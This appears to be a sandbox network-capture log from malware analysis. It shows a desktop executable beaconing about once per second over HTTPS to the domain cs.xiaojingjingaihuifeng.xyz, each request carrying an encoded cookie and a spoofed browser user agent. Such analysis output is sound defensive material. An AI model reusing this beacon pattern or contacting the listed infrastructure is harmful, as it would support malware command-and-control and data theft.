2025-01-10 14:14:02 UTC	763	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:02 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lFClKijvTnY6KwHZUBueMBQqgDcmHcmZ7LStT%2FeIy4PPKRWVd5HqL%2F%2Fz%2BOx9rUjnvC1JqAytHUTQL7oR8OHKXyGIEnnPi6URdtNFYb%2BJmfKOtK%2FIikP2DYHvnpgT8IUWl7e6P%2Fd03VGIwaCpL%2BcU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd4569b81a43fd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1625&min_rtt=1616&rtt_var=624&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1726788&cwnd=217&unsent_bytes=0&cid=6293c5478bd48930&ts=422&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	50031	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:03 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:03 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:03 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4VBS8zl9lLvh7X0rHyL%2F6zTqWdZCHW5VgmYJFzpP0Ou8vKcns5zSfEquV2AnCn1v3nXCZYjuBUORKrqTveIh%2FJ%2B8tGPRBEEcSDOT5OkPOf%2BOP42sVCKwx6D89hBClav2J42ZDkGi1mflp5CUUxAX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd456fef774398-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1598&min_rtt=1590&rtt_var=614&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1757977&cwnd=230&unsent_bytes=0&cid=6724e9ae32deb123&ts=421&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	50032	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:04 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:04 UTC	752	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:04 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dhH334Mm0yh6m9kaEINwQTXuCH9aPo99L0c%2FqJwsh0BErlNyZQ6NmMWDwXOfDZBWvVcM143SrcKD2VKlhM6XX0rDsSAAfqMcnYIaUUtQV%2BPaECMtAN8p%2FcOvgrfq1gW7bnXYLS4D9gohjQGmw6vb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd45765f0841c3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1603&min_rtt=1594&rtt_var=616&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1750599&cwnd=72&unsent_bytes=0&cid=20852a61ef482f95&ts=424&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	50033	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:05 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:05 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:05 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7uNMwzMWVjsRYQS%2BcH5OKyceqnCdaTNafze6iap2VP4HWHgykrvHH0bXLALeo9rp2r9kHmZLhbVX%2B0peDWRF2lZdHSJmClHTWtn%2BSMnAMGceqXm7BZp2OOsOBICu0OmmhBEeyn8q4KEDv%2Bgydg01"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd457c99df5e62-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1582&min_rtt=1580&rtt_var=597&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1827284&cwnd=139&unsent_bytes=0&cid=7e78ad996f0e8edf&ts=440&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	50034	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:06 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:06 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:06 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NIjxnHsofomhAFuRfQ5qEM2N%2Fw1fi30M49Nq3e%2FIXtu9zgdkWeh4Q94%2FU4pdeD78tc0Kw3ZrVnEUPNBkOZNILychjfj9HUKVdR%2FPdNzkW1426J9OAB84mXmKSw2lall9Id1k6oZonGPVeYiL%2FQjX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd45833b5572aa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2012&min_rtt=2008&rtt_var=761&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1431372&cwnd=191&unsent_bytes=0&cid=dc06d5c796e375b0&ts=410&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	50036	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:07 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:07 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:07 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2TkK%2Bm8zrvBB%2FwqTusfkZmiQpojab9DQ4hkVuge0CfQIp1qD5RHLfcxzse88ayqE81vC2MP%2F0wFtCjpbllzmFpDaTKSHnSlxJPKF8x%2Bw9g1Hhd4dxb5LwtOaBanRTbL7KMuyANjy0FBUkkr2xh2D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd45894a8a4367-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2178&min_rtt=1622&rtt_var=1721&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=480737&cwnd=238&unsent_bytes=0&cid=c9bc2972faacbcdc&ts=393&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	50037	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:08 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:08 UTC	759	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:08 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CJDErPW%2BZ1OnYSj9pOr3Qd6it2%2BHsE7mjXy7Ar%2BthYSVzAln3xpy9RMNz8LYYNc9x0MqRLuk8d7BcVPWcYXl1i6kBwVoRce7rR6%2Ff1arX1vSMVLkwRcjxn%2BPyh1pA2WAybgeDoH2lLGT%2B12njg21"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd458f79282369-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1971&min_rtt=1971&rtt_var=739&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1481481&cwnd=142&unsent_bytes=0&cid=07bc55eab9c4e38a&ts=448&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	50038	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:09 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:10 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:10 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nIZ%2F80ZiShUzWv3o7IZ1Qcm2o6LL7lYtzD8MDYClW5Df2OtP%2FiqSNP0PinawV7p6pdknRh9albr819oCMR9S3hqGUEGsgsoVc11kRmwGDwR%2BXQrx0EQnFV2TNgroRffF5bcM2FQyE%2Fut25w76Ksr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd4596fe9c423a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1768&min_rtt=1754&rtt_var=667&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1664766&cwnd=170&unsent_bytes=0&cid=e3591bbd401370f1&ts=437&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	50039	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:10 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:11 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:11 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2HinW37v52O1QTnnRqlZo3TRuDvMa0h3e%2BeGkY%2FPF6lLHiJtKKts4q7%2FLxXjMYr2ubD0GKic9HjO8QBVHaSVyvmpWycn1dwuENauqomas0Zi2Tq5Vsl1ZnsjaVkI%2B3K0Q0RSP54yrKJOe%2B9xRzrQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd459d4dcb72ad-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2020&min_rtt=1991&rtt_var=768&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1466599&cwnd=236&unsent_bytes=0&cid=2b27bc829272fc2b&ts=407&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	50040	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:11 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:12 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:12 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t1EMee9YMFYHAPm%2B3kpkGB1i2HdlIsBf%2FKf9isSJZdmqnrthoKFCnjnXzpT%2B6XedNG0C%2FeXr8IvXI1M7OxhexiaT3Z36yr6VaZAwNNaHzzvg9a6HbWGWntclorrvFrfsn76qm2dxF%2BQNQXYheErx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd45a37a9d0ca0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1634&min_rtt=1575&rtt_var=709&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1423695&cwnd=239&unsent_bytes=0&cid=17529b4e72c1fbbd&ts=421&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	50041	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:12 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:13 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:13 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XcZtrcmzc7wgaCbkPe3bvqqcd0BJEON8wypZpZv9BzK8v7TwIY9qwDDQoEShKbWCStyBpmbQAsI24awPFa%2Buva%2FGgonOQVJn%2Bwe3EASJAxyFuNy9jifl3K%2FqkUFSt2aEvqaWdJnXr3njzb4LIKSI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd45a9bb6642f7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1669&min_rtt=1611&rtt_var=646&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1812538&cwnd=179&unsent_bytes=0&cid=58d3a27a5b73f33b&ts=427&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	50042	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:13 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:14 UTC	753	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:14 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ilq4NGcBM%2B9h0MFKK4uwYhSXi1J1a8sFC55u4b83xbZp6hHgP0yP1Q6McxGvG2xa5ZHrmpqPlPWt8W%2BhyxZBItsSkHHJNdzBtnBNVZqFi77bW0PJnhnO8kzoaCgFCGr9ArmiUTOXAWNFakCjq8s%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd45b048bc43d6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1637&min_rtt=1632&rtt_var=623&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1740166&cwnd=248&unsent_bytes=0&cid=1b7e7ddf3070defa&ts=449&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	50043	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:14 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:15 UTC	759	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:15 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RgRaud0VODTw2bQMMsaJ5ducUa%2Bs%2FRXI5OiXZJd3yU9UNl7X%2F030DL6OpbaBCNxMsnX112HlMi4GKOkROxIbLBskB6u7Qo0MXcujgb2k4Fu%2BB2VGUI6qpOih%2F%2BKUMvClTVS87gACYr5Emj824IIT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd45b69f794246-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1676&min_rtt=1670&rtt_var=639&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1696687&cwnd=231&unsent_bytes=0&cid=ce0d8e77773fd304&ts=433&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	50044	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:15 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:16 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:16 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TGt9uBPYLNDrOuheShxkUDZL3uB7fy0uON6JCoAC1IuddPEGCTuP15PvTr0bCorJ2bv%2F8UNv3LRdKmCl4D83b4LMSs0CLs5VYy4MITsTge%2BOO7vhfbuUHh%2Fc%2B30PsduielPCwvNi8bf3it3Soi32"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd45be181641fb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1713&min_rtt=1708&rtt_var=651&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1668571&cwnd=181&unsent_bytes=0&cid=7c2662e64ae5af92&ts=596&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	50045	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:16 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:17 UTC	753	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:17 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WCWfAp0QuJeA7%2BEhirBD27cvPpgD549DXV2gxfPq%2B3CttkeyeIyTE8bkoBR24tbBdBW0LqWtyN0frfr3HZQQlQqgxQDcFeFkTSyKivXwOHgiyIKEnhgcZjXz%2BJBLT8LoUwklNmer3k2V84vk7jdY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd45c49c1243e6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1746&min_rtt=1744&rtt_var=658&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1656267&cwnd=252&unsent_bytes=0&cid=9a4f6ac5e6ca0516&ts=449&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	50046	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:18 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
